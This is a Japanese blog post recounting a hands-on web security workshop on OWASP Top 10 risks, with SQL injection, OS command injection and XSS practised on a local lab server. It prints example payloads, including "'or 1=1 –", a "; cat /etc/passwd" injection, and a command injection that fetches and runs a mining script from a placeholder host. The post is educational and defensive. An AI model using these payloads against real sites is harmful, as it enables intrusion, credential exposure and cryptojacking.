「セキュリティシリーズ Web脆弱性を体験しよう」 に参加してきました!

Webプログラミング

【eLV】セキュリティシリーズ Web脆弱性を体験しよう に参加してきました!

目的とゴール

OWASP (Open Web Application Security Project) は、世界のセキュリティ専門家が集まって、診断の標準や規格などを策定している組織のようです。OWASP TOP10というのは、セキュリティリスクの格付けしてTOP10に纏めたもので、取り組むべきセキュリティ対策です。

今回はハンズオンがあります!



はじめに

命懸けでテロリストするくらいなら、クラッキングの方がコスパが断然良さそうです。という解釈でいいのかなw

60兆あると、Facebookが買収できるようです。毎年Facebookクラスの超大企業が、クラッキングにより滅ぼされているということになるのでしょうか。



現状把握

ボツワナにいたPC隊員も(自分も含め)、一時期はこのランサムウェア(WannaCry)の対応に掛かりっきりになってました。

そして、WordPressに脆弱性があったのは知りませんでした。今はバージョンアップしてるので問題ないですが、気付いたらマイニングマシンにされていたなんてこともあるんでしょうね!

DBサーバへの侵入は死守しなければなりません!!



OWASP TOP10

今回は、インジェクションクロスサイトスクリプティングに絞ってハンズオンしていくそうです。



ハンズオン

SQLインジェクション

例えばログイン画面では、ユーザアカウントとパスワードの組み合わせがDBの中にあるかSELECT文で検索して、一致すればログインできます。

ここで、ユーザアカウント名の箇所に「’or 1=1 –」と入力すると、SELECT文の構文が書き換えられて、全ユーザアカウントとパスワード一覧が表示されてしまいます。

今回はハンズオン用のローカル環境で実施しているので問題ありませんが、通常のWEBサイトに対してこの行為を行ったら犯罪ですので、ご注意ください!

OSインジェクション(CMDi)

今度は、nslookupまたはdigコマンドで、DNSサーバのFQDNを入力すると、IPアドレスを返答してくれます。例えば、「www.yahoo.co.jp」のIPアドレスは「182.22.24.124」ということがわかります。

ここに、試しに今回会場を貸してくださっているelvさんのサイトのFQDNの後に、; (セミコロン)、そしてコマンドを入力すると「www.elv.tokyo ; cat /etc/passwd」、こちらもハンズオン用のローカルサーバのアカウント情報が駄々洩れになってしまいます。

マイニングのスクリプトを用意して、このサーバでダウンロードして実行すれば、ひたすらマイニングされてしまう可能性もあります。「www.XXX.com ; wget http://hogehoge.com/mining.py ; ./mining.py」

クロスサイトスクリプティング(XSS)

投稿した内容を表示するような場合、JavaScriptを埋め込むと、以下のような動作をさせたり、様々な動作を意図せずさせることができます。

インジェクションも含めて、特別な意味を持つ記号のエスケープ処理(無効化)をきちんと行っていれば問題ありませんが、WordPressを使うやフレームワークなどを利用する場合、脆弱性が含まれている可能性は否定できません。

まとめ

全ての脆弱性を網羅して対応することは難しいですが、裏でどのような処理がおこなわれているか推測し、「’or 1=1 –」や「www.XXX.com ; cat password」などを試して問題ないことを確認しておけば、簡単にクラッキング被害に合うことは防げるのかなと思いました!

安全なウェブサイトの作り方(IPA)